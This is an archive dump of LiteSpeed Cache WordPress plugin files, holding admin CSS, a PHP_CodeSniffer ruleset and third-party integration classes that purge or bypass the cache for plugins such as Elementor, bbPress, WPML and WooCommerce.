	transform: translate(-50%, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down'][data-balloon-visible]:after {
	transform: translate(-50%, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down'][data-balloon-visible]:before {
	transform: translate(-50%, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left']:after {
	left: 0;
	margin-top: 10px;
	top: 100%;
	transform: translate(0, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left']:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-bottom-color: var(--balloon-color);
	left: 5px;
	top: 100%;
	transform: translate(0, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left'][data-balloon-visible]:after {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-left'][data-balloon-visible]:before {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right']:after {
	right: 0;
	margin-top: 10px;
	top: 100%;
	transform: translate(0, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right']:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-bottom-color: var(--balloon-color);
	right: 5px;
	top: 100%;
	transform: translate(0, calc(var(--balloon-move) * -1));
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right'][data-balloon-visible]:after {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='down-right'][data-balloon-visible]:before {
	transform: translate(0, 0);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left']:after {
	margin-right: 10px;
	right: 100%;
	top: 50%;
	transform: translate(var(--balloon-move), -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left']:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-left-color: var(--balloon-color);
	right: 100%;
	top: 50%;
	transform: translate(var(--balloon-move), -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left'][data-balloon-visible]:after {
	transform: translate(0, -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='left'][data-balloon-visible]:before {
	transform: translate(0, -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right']:after {
	left: 100%;
	margin-left: 10px;
	top: 50%;
	transform: translate(calc(var(--balloon-move) * -1), -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right']:before {
	width: 0;
	height: 0;
	border: 5px solid transparent;
	border-right-color: var(--balloon-color);
	left: 100%;
	top: 50%;
	transform: translate(calc(var(--balloon-move) * -1), -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right']:hover:after,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right'][data-balloon-visible]:after {
	transform: translate(0, -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right']:hover:before,
.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-pos='right'][data-balloon-visible]:before {
	transform: translate(0, -50%);
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='small']:after {
	white-space: normal;
	width: 80px;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='medium']:after {
	white-space: normal;
	width: 150px;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='large']:after {
	white-space: normal;
	width: 260px;
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='xlarge']:after {
	white-space: normal;
	width: 380px;
}

@media screen and (max-width: 768px) {
	.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='xlarge']:after {
		white-space: normal;
		width: 90vw;
	}
}

.litespeed-wrap [aria-label][data-balloon-pos][data-balloon-length='fit']:after {
	white-space: normal;
	width: 100%;
}

/* =======================================
		Misc Mobile TWEAKS
======================================= */

@media screen and (max-width: 680px) {
	.litespeed-wrap .litespeed-body .field-col {
		margin-left: 0;
	}

	.litespeed-width-auto.litespeed-table-compact td {
		font-size: 12px;
		word-break: break-word;
	}

	.litespeed-body .litespeed-table td .litespeed-right {
		float: none !important;
	}

	.litespeed-title a.litespeed-learn-more,
	.litespeed-title-short a.litespeed-learn-more {
		display: block;
		margin-left: 0;
		margin-top: 5px;
	}
}

.litespeed-wrap .litespeed-redetect[aria-label][data-balloon-pos][data-balloon-pos='up']:after {
	left: auto;
	right: 0;
	transform: translate(0%, var(--balloon-move));
}

.litespeed-wrap .litespeed-redetect[aria-label][data-balloon-pos][data-balloon-pos='up']:hover:after,
.litespeed-wrap .litespeed-redetect[aria-label][data-balloon-pos][data-balloon-pos='up'][data-balloon-visible]:after {
	transform: translate(0, 0);
}

/* =======================================
					QC
======================================= */

.litespeed-col-status-data h3,
.litespeed-col-status-data h4 {
	margin-bottom: 0;
	margin-top: 20px;
}

.litespeed-col-status-data h3 .dashicons {
	vertical-align: bottom;
}

.litespeed-col-status-data h4 .dashicons {
	vertical-align: sub;
}

/* To use on dark bg */
.litespeed-wrap .litespeed-qc-button {
	background-color: #5efffc;
	border: 1px solid #00d0cb;
	box-shadow: 0px 2px 0px 0px #00d0cb;
	color: #161f29;
	font-weight: 600;
	font-size: 15px;
	padding: 12px 24px;
	border-radius: 3px;
	line-height: 1;
	display: inline-flex;
	align-items: center;
	transition: 0.25s;
}

.litespeed-wrap .litespeed-qc-button:hover {
	background: #21a29f21;
	color: #5efffc;
	border-color: #00d0cb;
}

.litespeed-wrap .litespeed-qc-button .dashicons {
	top: auto;
}

.litespeed-postbox.litespeed-qc-promo-box {
	background: #161e29 linear-gradient(110deg, #171c2fbd, #252766ab);
	border-radius: 5px;
	box-shadow: 0px 4px 0px 0px #161d2e;
	border: none;
}

.litespeed-postbox.litespeed-qc-promo-box .inside {
	padding: 25px;
	margin: 0;
}

.litespeed-dashboard-group .litespeed-postbox.litespeed-qc-promo-box {
	box-shadow: none;
}

.litespeed-dashboard-group .litespeed-postbox.litespeed-qc-promo-box .inside {
	padding: 20px 25px;
}

.litespeed-postbox.litespeed-qc-promo-box h3 {
	margin-top: 0;
	color: #fff;
	font-size: 24px;
	font-weight: 800;
	line-height: 1.4em;
}

.litespeed-postbox.litespeed-qc-promo-box h3 .litespeed-quic-icon {
	width: 24px;
	height: 28px;
	background-size: contain;
	margin-right: 10px;
}

.litespeed-postbox.litespeed-qc-promo-box p {
	color: #dbdbdb;
	font-size: 1rem;
}

/* =======================================
	   Deactivate modal
======================================= */
#litespeed-modal-deactivate {
	padding: 20px;
}

#litespeed-modal-deactivate h2 {
	margin: 0px;
}

#litespeed-modal-deactivate .litespeed-wrap {
	margin: 10px 0px;
}

#litespeed-modal-deactivate .deactivate-clear-settings-wrapper,
#litespeed-modal-deactivate .deactivate-actions {
	margin-top: 30px;
}

#litespeed-modal-deactivate .deactivate-reason-wrapper label,
#litespeed-modal-deactivate .deactivate-clear-settings-wrapper label {
	width: 100%;
	display: block;
	margin-bottom: 5px;
}

#litespeed-modal-deactivate .deactivate-actions {
	display: flex;
	justify-content: space-between;
}litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/css/litespeed-dummy.css000064400000000074151031165260022203 0ustar00/* To be replaced in `head` to control optm data location */litespeed-wp-plugin/7.5.0.1/litespeed-cache/phpcs.xml.dist000064400000004074151031165260017075 0ustar00<?xml version="1.0"?>
<ruleset name="LiteSpeed Cache Coding Standards">
	<description>Apply LiteSpeed Cache Coding Standards to all plugin files</description>

	<!--
	#############################################################################
	COMMAND LINE ARGUMENTS
	https://github.com/squizlabs/PHP_CodeSniffer/wiki/Annotated-Ruleset
	#############################################################################
	-->

	<!-- Only scan PHP files -->
	<arg name="extensions" value="php"/>

	<!-- Cache scan results to use for unchanged files on future scans -->
	<arg name="cache" value=".cache/phpcs.json"/>

	<!-- Set memory limit to 512M
		 Ref: https://github.com/squizlabs/PHP_CodeSniffer/wiki/Advanced-Usage#specifying-phpini-settings 
	-->
	<ini name="memory_limit" value="512M"/> 

	<!-- Remove unwanted prefix from filepaths -->
	<arg name="basepath" value="./"/>

	<!-- Check max 20 files in parallel -->
	<arg name="parallel" value="20"/>

	<!-- Show sniff codes in all reports -->
	<arg value="ps"/>

	<!--
	#############################################################################
	FILE SELECTION
	Set which files will be subject to the scans executed using this ruleset.
	#############################################################################
	-->

	<file>.</file>

	<!-- Exclude any wordpress folder in the current directory -->
	<exclude-pattern type="relative">^wordpress/*</exclude-pattern>

	<!-- Directories and third-party library exclusions -->
	<exclude-pattern>/node_modules/*</exclude-pattern>
	<exclude-pattern>/vendor/*</exclude-pattern>

	<!--
	#############################################################################
	SET UP THE RULESET
	#############################################################################
	-->
	<!-- Check PHP v7.2 and all newer versions -->
	<config name="testVersion" value="7.2-"/>

	<rule ref="PHPCompatibility">
		<!-- Exclude false positives -->
		<!-- array_key_firstFound is defined in lib/php-compatibility.func.php -->
		<exclude name="PHPCompatibility.FunctionUse.NewFunctions.array_key_firstFound" />
	</rule>

</ruleset>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/litespeed-check.cls.php000064400000011224151031165260023003 0ustar00<?php
// phpcs:ignoreFile

/**
 * Check if any plugins that could conflict with LiteSpeed Cache are active.
 *
 * @since       4.7
 */

namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class LiteSpeed_Check {

	public static $_incompatible_plugins = array(
		// 'autoptimize/autoptimize.php',
		'breeze/breeze.php',
		'cache-enabler/cache-enabler.php',
		'cachify/cachify.php',
		'cloudflare/cloudflare.php',
		'comet-cache/comet-cache.php',
		'docket-cache/docket-cache.php',
		'fast-velocity-minify/fvm.php',
		'hummingbird-performance/wp-hummingbird.php',
		'nginx-cache/nginx-cache.php',
		'nitropack/main.php',
		'pantheon-advanced-page-cache/pantheon-advanced-page-cache.php',
		'powered-cache/powered-cache.php',
		'psn-pagespeed-ninja/pagespeedninja.php',
		'sg-cachepress/sg-cachepress.php',
		'simple-cache/simple-cache.php',
		// 'redis-cache/redis-cache.php',
		'w3-total-cache/w3-total-cache.php',
		'wp-cloudflare-page-cache/wp-cloudflare-page-cache.php',
		'wp-fastest-cache/wpFastestCache.php',
		'wp-meteor/wp-meteor.php',
		'wp-optimize/wp-optimize.php',
		'wp-performance-score-booster/wp-performance-score-booster.php',
		'wp-rocket/wp-rocket.php',
		'wp-super-cache/wp-cache.php',
	);

	private static $_option = 'thirdparty_litespeed_check';
	private static $_msg_id = 'id="lscwp-incompatible-plugin-notice"';

	public static function detect() {
		if (!is_admin()) {
			return;
		}

		/**
		 * Check for incompatible plugins when `litespeed-cache` is first activated.
		 */
		$plugin = basename(LSCWP_DIR) . '/litespeed-cache.php';
		register_deactivation_hook($plugin, function ( $_network_wide ) {
			\LiteSpeed\Admin_Display::delete_option(self::$_option);
		});
		if (!\LiteSpeed\Admin_Display::get_option(self::$_option)) {
			self::activated_plugin($plugin, null);
			\LiteSpeed\Admin_Display::add_option(self::$_option, true);
		}

		/**
		 * Check for incompatible plugins when any plugin is (de)activated.
		 */
		add_action('activated_plugin', __CLASS__ . '::activated_plugin', 10, 2);
		add_action('deactivated_plugin', __CLASS__ . '::deactivated_plugin', 10, 2);

		if (class_exists('PagespeedNinja')) {
			\LiteSpeed\Admin_Display::error(
				'<div ' .
					self::$_msg_id .
					'>' .
					__('Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:', 'litespeed-cache') .
					'<p style="color: red; font-weight: 700;">' .
					'PageSpeed Ninja' .
					'</p>' .
					'</div>'
			);
		}
	}

	public static function activated_plugin( $plugin, $network_wide ) {
		self::incompatible_plugin_notice($plugin, $network_wide, 'activated');
	}

	public static function deactivated_plugin( $plugin, $network_wide ) {
		self::incompatible_plugin_notice($plugin, $network_wide, 'deactivated');
	}

	/**
	 * Detect any incompatible plugins that are currently `active` and `valid`.
	 * Show a notification if there are any.
	 */
	public static function incompatible_plugin_notice( $plugin, $_network_wide, $action ) {
		self::update_messages();

		/**
		 * The 'deactivated_plugin' action fires before
		 * `wp_get_active_and_valid_plugins` can see the change, so we'll need to
		 * remove `$plugin` from the list.
		 */
		$deactivated = 'deactivated' === $action ? array( $plugin ) : array();

		$incompatible_plugins = array_map(function ( $plugin ) {
			return WP_PLUGIN_DIR . '/' . $plugin;
		}, array_diff(self::$_incompatible_plugins, $deactivated));

		$active_incompatible_plugins = array_map(function ( $plugin ) {
			$plugin = get_plugin_data($plugin, false, true);
			return $plugin['Name'];
		}, array_intersect($incompatible_plugins, wp_get_active_and_valid_plugins()));

		if (empty($active_incompatible_plugins)) {
			return;
		}

		\LiteSpeed\Admin_Display::error(
			'<div ' .
				self::$_msg_id .
				'>' .
				__('Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:', 'litespeed-cache') .
				'<p style="color: red; font-weight: 700;">' .
				implode(', ', $active_incompatible_plugins) .
				'</p>' .
				'</div>',
			false,
			true
		);
	}

	/**
	 * Prevent multiple incompatible plugin notices, in case an admin (de)activates
	 * a number of incompatible plugins in succession without dismissing the
	 * notice(s).
	 */
	private static function update_messages() {
		$messages = \LiteSpeed\Admin_Display::get_option(\LiteSpeed\Admin_Display::DB_MSG_PIN, array());
		if (is_array($messages)) {
			foreach ($messages as $index => $message) {
				if (strpos($message, self::$_msg_id) !== false) {
					unset($messages[$index]);
					if (!$messages) {
						$messages = -1;
					}
					\LiteSpeed\Admin_Display::update_option(\LiteSpeed\Admin_Display::DB_MSG_PIN, $messages);
					break;
				}
			}
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/gravity-forms.cls.php000064400000001041151031165260022557 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with Gravity Forms.
 *
 * @since       4.1.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Gravity_Forms {

	/**
	 * Check if GF is enabled and disable LSCWP on gf-download and gf-signature URI
	 *
	 * @since 4.1.0 #900899 #827184
	 */
	public static function preload() {
		if (class_exists('GFCommon')) {
			if (isset($_GET['gf-download']) || isset($_GET['gf-signature'])) {
				do_action('litespeed_disable_all', 'Stopped for Gravity Form');
			}
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/elementor.cls.php000064400000003207151031165260021746 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the bbPress plugin.
 *
 * @since       2.9.8.8
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\Debug2;

class Elementor {

	public static function preload() {
		if (!defined('ELEMENTOR_VERSION')) {
			return;
		}

		if (!is_admin()) {
			// add_action( 'init', __CLASS__ . '::disable_litespeed_esi', 4 ); // temporarily comment out this line for backward compatibility
		}

		if (isset($_GET['action']) && $_GET['action'] === 'elementor') {
			do_action('litespeed_disable_all', 'elementor edit mode');
		}

		if (!empty($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'action=elementor')) {
			if (!empty($_REQUEST['actions'])) {
				$json = json_decode(stripslashes($_REQUEST['actions']), true);
				// Debug2::debug( '3rd Elementor', $json );
				if (
					!empty($json['save_builder']['action']) &&
					$json['save_builder']['action'] == 'save_builder' &&
					!empty($json['save_builder']['data']['status']) &&
					$json['save_builder']['data']['status'] == 'publish'
				) {
					return; // Save post, don't disable all in case we will allow fire crawler right away after purged
				}
			}
			do_action('litespeed_disable_all', 'elementor edit mode in HTTP_REFERER');
		}

		// Clear LSC cache on Elementor Regenerate CSS & Data
		add_action('elementor/core/files/clear_cache', __CLASS__ . '::regenerate_litespeed_cache');
	}

	public static function disable_litespeed_esi() {
		define('LITESPEED_ESI_OFF', true);
	}

	public static function regenerate_litespeed_cache() {
		do_action('litespeed_purge_all', 'Elementor - Regenerate CSS & Data');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/woocommerce.tab.tpl.php000064400000000346151031165260023057 0ustar00<?php
/**
 * WooCommerce tab template for LiteSpeed Cache plugin.
 *
 * @package LiteSpeed
 */

defined( 'WPINC' ) || exit;
?>

<a class='litespeed-tab nav-tab' href='#woocommerce' data-litespeed-tab='woocommerce'>WooCommerce</a>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wpml.cls.php000064400000001215151031165260020730 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with WPML.
 *
 * @since       2.9.4
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WPML {

	public static function detect() {
		if (!defined('WPML_PLUGIN_BASENAME')) {
			return;
		}

		add_filter('litespeed_internal_domains', __CLASS__ . '::append_domains');
	}

	/**
	 * Take language domains as internal domains
	 */
	public static function append_domains( $domains ) {
		$wpml_domains = apply_filters('wpml_setting', false, 'language_domains');
		if ($wpml_domains) {
			$domains = array_merge($domains, array_values($wpml_domains));
		}

		return $domains;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/caldera-forms.cls.php000064400000000654151031165260022476 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with Caldera Forms.
 *
 * @since       3.2.2
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Caldera_Forms {

	public static function detect() {
		if (!defined('CFCORE_VER')) {
			return;
		}

		// plugins/caldera-forms/classes/render/nonce.php -> class Caldera_Forms_Render_Nonce
		do_action('litespeed_nonce', 'caldera_forms_front_*');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/avada.cls.php000064400000001237151031165260021031 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the Avada plugin.
 *
 * @since       1.1.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Avada {

	/**
	 * Detects if Avada is installed.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function detect() {
		if (!defined('AVADA_VERSION')) {
			return;
		}

		add_action('update_option_avada_dynamic_css_posts', __CLASS__ . '::flush');
		add_action('update_option_fusion_options', __CLASS__ . '::flush');
	}

	/**
	 * Purges the cache
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function flush() {
		do_action('litespeed_purge_all', '3rd avada');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wc-pdf-product-vouchers.cls.php000064400000001241151031165260024442 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with WooCommerce PDF Product Vouchers.
 *
 * @since       5.1.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WC_PDF_Product_Vouchers {

	/**
	 * Do not cache generated vouchers
	 *
	 * @since 5.1.0
	 */
	public static function detect() {
		if (!class_exists('\WC_PDF_Product_Vouchers_Loader')) {
			return;
		}

		$is_voucher = !empty($_GET['post_type']) && 'wc_voucher' === $_GET['post_type'];
		$has_key    = !empty($_GET['voucher_key']) || !empty($_GET['key']);

		if ($is_voucher && $has_key) {
			do_action('litespeed_control_set_nocache', '3rd WC PDF Product Voucher');
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/bbpress.cls.php000064400000004545151031165260021422 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the bbPress plugin.
 *
 * @since       1.0.5
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

use LiteSpeed\Router;

class BBPress {

	/**
	 * Detect if bbPress is installed and if the page is a bbPress page.
	 *
	 * @since 1.0.5
	 * @access public
	 */
	public static function detect() {
		if (function_exists('is_bbpress')) {
			add_action('litespeed_api_purge_post', __CLASS__ . '::on_purge'); // todo
			if (apply_filters('litespeed_esi_status', false)) {
				// don't consider private cache yet (will do if any feedback)
				add_action('litespeed_control_finalize', __CLASS__ . '::set_control');
			}
		}
	}

	/**
	 * This filter is used to let the cache know if a page is cacheable.
	 *
	 * @access public
	 * @since 1.2.0
	 */
	public static function set_control() {
		if (!apply_filters('litespeed_control_cacheable', false)) {
			return;
		}

		// set non ESI public
		if (is_bbpress() && Router::is_logged_in()) {
			do_action('litespeed_control_set_nocache', 'bbpress nocache due to loggedin');
		}
	}

	/**
	 * When a bbPress page is purged, need to purge the forums list and
	 * any/all ancestor pages.
	 *
	 * @since 1.0.5
	 * @access public
	 * @param integer $post_id The post id of the page being purged.
	 */
	public static function on_purge( $post_id ) {
		if (!is_bbpress()) {
			if (!function_exists('bbp_is_forum') || !function_exists('bbp_is_topic') || !function_exists('bbp_is_reply')) {
				return;
			}
			if (!bbp_is_forum($post_id) && !bbp_is_topic($post_id) && !bbp_is_reply($post_id)) {
				return;
			}
		}

		// Need to purge base forums page, bbPress page was updated.
		do_action('litespeed_purge_posttype', bbp_get_forum_post_type());
		$ancestors = get_post_ancestors($post_id);

		// If there are ancestors, need to purge them as well.
		if (!empty($ancestors)) {
			foreach ($ancestors as $ancestor) {
				do_action('litespeed_purge_post', $ancestor);
			}
		}

		global $wp_widget_factory;
		$replies_widget = $wp_widget_factory->get_widget_object('BBP_Replies_Widget');
		if (bbp_is_reply($post_id) && $replies_widget) {
			do_action('litespeed_purge_widget', $replies_widget->id);
		}

		$topic_widget = $wp_widget_factory->get_widget_object('BBP_Topics_Widget');
		if (bbp_is_topic($post_id) && $topic_widget) {
			do_action('litespeed_purge_widget', $topic_widget->id);
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wp-polls.cls.php000064400000000770151031165260021533 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the WP-Polls plugin.
 *
 * @since       1.0.7
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

// todo: need test

class Wp_Polls {

	public static function detect() {
		add_filter('wp_polls_display_pollvote', __CLASS__ . '::set_control');
		add_filter('wp_polls_display_pollresult', __CLASS__ . '::set_control');
	}

	public static function set_control() {
		do_action('litespeed_control_set_nocache', 'wp polls');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wplister.cls.php000064400000001311151031165260021617 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the WPLister plugin.
 *
 * @since        1.1.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WPLister {

	/**
	 * Detects if WooCommerce and WPLister are installed.
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public static function detect() {
		if (defined('WOOCOMMERCE_VERSION') && defined('WPLISTER_VERSION')) {
			// User reported this will sync correctly.
			add_action('wplister_revise_inventory_status', array( WooCommerce::cls(), 'backend_purge' ));
			// Added as a safety measure for WPLister Pro only.
			add_action('wplister_inventory_status_changed', array( WooCommerce::cls(), 'backend_purge' ));
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/beaver-builder.cls.php000064400000001706151031165260022646 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with the Beaver Builder plugin.
 *
 * @since       3.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Beaver_Builder {

	/**
	 * Detects if Beaver_Builder is active.
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function detect() {
		if (!defined('FL_BUILDER_VERSION')) {
			return;
		}

		/**
		 * Purge All hooks
		 *
		 * @see  beaver-builder/extensions/fi-builder-cache-helper/classes/class-fi-builder-cache-helper.php
		 */
		$actions = array( 'fl_builder_cache_cleared', 'fl_builder_after_save_layout', 'fl_builder_after_save_user_template', 'upgrader_process_complete' );

		foreach ($actions as $val) {
			add_action($val, __CLASS__ . '::purge');
		}
	}

	/**
	 * Purges the cache when Beaver_Builder's cache is purged.
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function purge() {
		do_action('litespeed_purge_all', '3rd Beaver_Builder');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/wcml.cls.php000064400000001700151031165260020712 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with WCML.
 *
 * @since       3.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class WCML {

	private static $_currency = '';

	public static function detect() {
		if (!defined('WCML_VERSION')) {
			return;
		}

		add_filter('wcml_client_currency', __CLASS__ . '::apply_client_currency');
		add_action('wcml_set_client_currency', __CLASS__ . '::set_client_currency');
	}

	public static function set_client_currency( $currency ) {
		self::apply_client_currency($currency);

		do_action('litespeed_vary_ajax_force');
	}

	public static function apply_client_currency( $currency ) {
		if ($currency !== wcml_get_woocommerce_currency_option()) {
			self::$_currency = $currency;
			add_filter('litespeed_vary', __CLASS__ . '::apply_vary');
		}

		return $currency;
	}

	public static function apply_vary( $list ) {
		$list['wcml_currency'] = self::$_currency;
		return $list;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/woocommerce.content.tpl.php000064400000007023151031165260023762 0ustar00<?php
// phpcs:ignoreFile

namespace LiteSpeed\Thirdparty;

defined( 'WPINC' ) || exit;

use LiteSpeed\API;
use LiteSpeed\Doc;
use LiteSpeed\Admin_Display;
use LiteSpeed\Lang;
use LiteSpeed\Base;
?>

<div data-litespeed-layout='woocommerce'>

	<h3 class="litespeed-title-short">
		<?php echo __( 'WooCommerce Settings', 'litespeed-cache' ); ?>
		<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/cache/#woocommerce-tab' ); ?>
	</h3>

	<div class="litespeed-callout notice notice-warning inline">
		<h4><?php echo __( 'NOTICE:', 'litespeed-cache' ); ?></h4>
		<p><?php echo __( 'After verifying that the cache works in general, please test the cart.', 'litespeed-cache' ); ?></p>
		<p><?php printf( __( 'To test the cart, visit the <a %s>FAQ</a>.', 'litespeed-cache' ), 'href="https://docs.litespeedtech.com/lscache/lscwp/installation/#non-cacheable-pages" target="_blank"' ); ?></p>
		<p><?php echo __( 'By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.', 'litespeed-cache' ); ?></p>
	</div>

	<table class="wp-list-table striped litespeed-table">
		<tbody>
			<tr>
				<th>
					<?php $id = self::O_UPDATE_INTERVAL; ?>
					<?php echo __( 'Product Update Interval', 'litespeed-cache' ); ?>
				</th>
				<td>
					<?php
					$options = array(
						self::O_PQS_CS  => __( 'Purge product on changes to the quantity or stock status.', 'litespeed-cache' ) . ' ' . __( 'Purge categories only when stock status changes.', 'litespeed-cache' ),
						self::O_PS_CS   => __( 'Purge product and categories only when the stock status changes.', 'litespeed-cache' ),
						self::O_PS_CN   => __( 'Purge product only when the stock status changes.', 'litespeed-cache' ) . ' ' . __( 'Do not purge categories on changes to the quantity or stock status.', 'litespeed-cache' ),
						self::O_PQS_CQS => __( 'Always purge both product and categories on changes to the quantity or stock status.', 'litespeed-cache' ),
					);
					$conf    = (int) apply_filters( 'litespeed_conf', $id );
					foreach ( $options as $k => $v ) :
						$checked = (int) $k === $conf ? ' checked ' : '';
						?>
						<?php do_action( 'litespeed_setting_enroll', $id ); ?>
						<div class='litespeed-radio-row'>
							<input type='radio' autocomplete='off' name='<?php echo $id; ?>' id='conf_<?php echo $id; ?>_<?php echo $k; ?>' value='<?php echo $k; ?>' <?php echo $checked; ?> />
							<label for='conf_<?php echo $id; ?>_<?php echo $k; ?>'><?php echo $v; ?></label>
						</div>
					<?php endforeach; ?>
					<div class="litespeed-desc">
						<?php echo __( 'Determines how changes in product quantity and product stock status affect product pages and their associated category pages.', 'litespeed-cache' ); ?>
					</div>
				</td>
			</tr>

			<tr>
				<th>
					<?php $id = self::O_CART_VARY; ?>
					<?php echo __( 'Vary for Mini Cart', 'litespeed-cache' ); ?>
				</th>
				<td>
					<?php
					$conf = (int) apply_filters( 'litespeed_conf', $id );
					$this->cls( 'Admin_Display' )->build_switch( $id );
					?>
					<div class="litespeed-desc">
						<?php echo __( 'Generate a separate vary cache copy for the mini cart when the cart is not empty.', 'litespeed-cache' ); ?>
						<?php echo __( 'If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.', 'litespeed-cache' ); ?>
						<br /><?php Doc::notice_htaccess(); ?>
					</div>
				</td>
			</tr>

		</tbody>
	</table>
</div>litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/woo-paypal.cls.php000064400000001157151031165260022046 0ustar00<?php
// phpcs:ignoreFile
/**
 * The Third Party integration with WooCommerce PayPal Checkout Gateway
 *
 * @ref https://wordpress.org/plugins/woocommerce-gateway-paypal-express-checkout/
 *
 * @since       3.0
 */
namespace LiteSpeed\Thirdparty;

defined('WPINC') || exit();

class Woo_Paypal {

	public static function detect() {
		if (!defined('WC_GATEWAY_PPEC_VERSION')) {
			return;
		}

		do_action('litespeed_nonce', '_wc_ppec_update_shipping_costs_nonce private');
		do_action('litespeed_nonce', '_wc_ppec_start_checkout_nonce private');
		do_action('litespeed_nonce', '_wc_ppec_generate_cart_nonce private');
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/thirdparty/autoptimize.cls.php000064400000001364151031165260022330 0ustar00<?php
